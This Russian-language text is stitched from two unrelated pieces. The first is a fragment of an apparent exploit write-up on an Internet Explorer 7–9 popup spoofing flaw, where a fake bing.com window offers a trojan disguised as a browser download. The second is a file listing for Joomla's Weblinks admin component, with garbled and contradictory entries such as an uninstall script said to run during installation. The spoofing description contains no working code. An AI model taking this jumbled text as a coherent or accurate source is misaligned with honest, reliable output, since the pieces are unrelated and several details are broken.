Зайдя на эту страницу, мы увидим надпись со ссылкой, которая приглашает нас перейти на сайт bing.com. Нажав на ссылку, мы увидим всплывающее окно, в адресной строке которого будет значиться тот самый Бинг. Ниже будет находиться еще одна ссылка, призывающая скачать новый Internet Explorer (причем, наведя курсор на «Download», мы не увидим ничего подозрительного, хотя там находится не новая версия браузера, а программа-псевдотроян от Сайбер Флеша).
Таким образом, злоумышленник легко сможет подсунуть пользователю Ослика злонамеренный файл.

Targets

  • MS Internet Explorer 7, 8, 9

Solution

В настоящий момент мелкомягкие все еще не исправили описанную уязвимость, так что, если ты используешь IE, в качестве временной меры советую быть внимательнее с незнакомыми всплывающими окнами.

Начнем рассмотрение компонентов с того, как базовый компонент Weblinks действует в административной части веб-сайта. Этот компонент, типичный для данной части вебсайта, очень похож на другие ее компоненты, предназначенные для управления статьями, пользователями, модулями и т.д.

Ниже перечислены программные файлы данного компонента. Все эти файлы находятся в папке administator/components/com_weblinks . В остальной части этой главы имена всех файлов компонента Weblinks упоминаются относительно данной начальной папки, если не указано иное. Большинство файлов организовано по шаблону MVC. В частности, все файлы представлений находятся в подпапке представлений, а все основные файлы моделей и контроллеров - в подпапках моделей и контроллеров соответственно. Их также дополняют установочные, конфигурационные и вспомогательные файлы.

Файлы административной части компонента Weblinks, кроме файлов index.html

  • controllers/weblink.php - Основной контроллер для редактирования Контроллер одиночной веб-ссылки
  • controllers/weblinks.php - Основной контроллер для составления Контроллер и отображения списка веб-ссылок на экране Weblinks Manager (Диспетчер веб-ссылок)
  • helpers/weblinks.php - Предоставляет различные методы, применяемые в контроллерах и представлениях
  • models/fields/ordering.php - Модель JformField отображения столбца упорядочения веб-ссылок на экране Weblinks Manager
  • models/forms/weblink.xml - XML-файл, используемый в классе Jform- Модель Field, для разметки формы с полями ввода и редактирования веб-ссылок на экране
  • models/weblink.php - Модель для экранной формы одиночной Модель веб-ссылки
  • models/weblinks.php - Модель для экранной формы диспетчера Модель веб-ссылок
  • sql/install.mysql.utf8.sql - SQL-файл для составления таблицы веб-ссылок во время установки
  • sql/uninstall.mysql.ut8.sql - SQL-файл для удаления таблицы вебссылок во время установки
  • tables/weblink.php - Предоставляет класс Модель
  • views/weblink/tmpl/edit_metadata.php - Файл исходной компоновки для редактирования метаданных веб-ссылки

Административная часть компонента Weblinks

  • views/weblink/tmpl/edit_params.php - Файл исходной компоновки для редактирования вариантов выбора одиночной веб-ссылки
  • views/weblink/tmpl/edit.php - Файл исходной компоновки для редактирования веб-ссылки
  • views/view.html.php - Класс основного представления для вывода одиночной веб-ссылки в формате HTML Файл исходной компоновки для диспетчера веб-ссылок
  • views/weblinks/view.html.php - Класс основного представления для вывода веб-ссылок в формате HTML непосредственно на экране Weblinks Manager
  • access.xml - XML-файл, предоставляющий список действий для системы списков контроля доступа (ACL)
  • config.xml - XML-файл, предоставляющий список вариантов выбора конфигурации компонента
  • controller.php - Класс основного контроллера
  • weblinks.php - Точка входа для запроса
  • weblinks.xml - XML-файл, используемый для управления процессом установки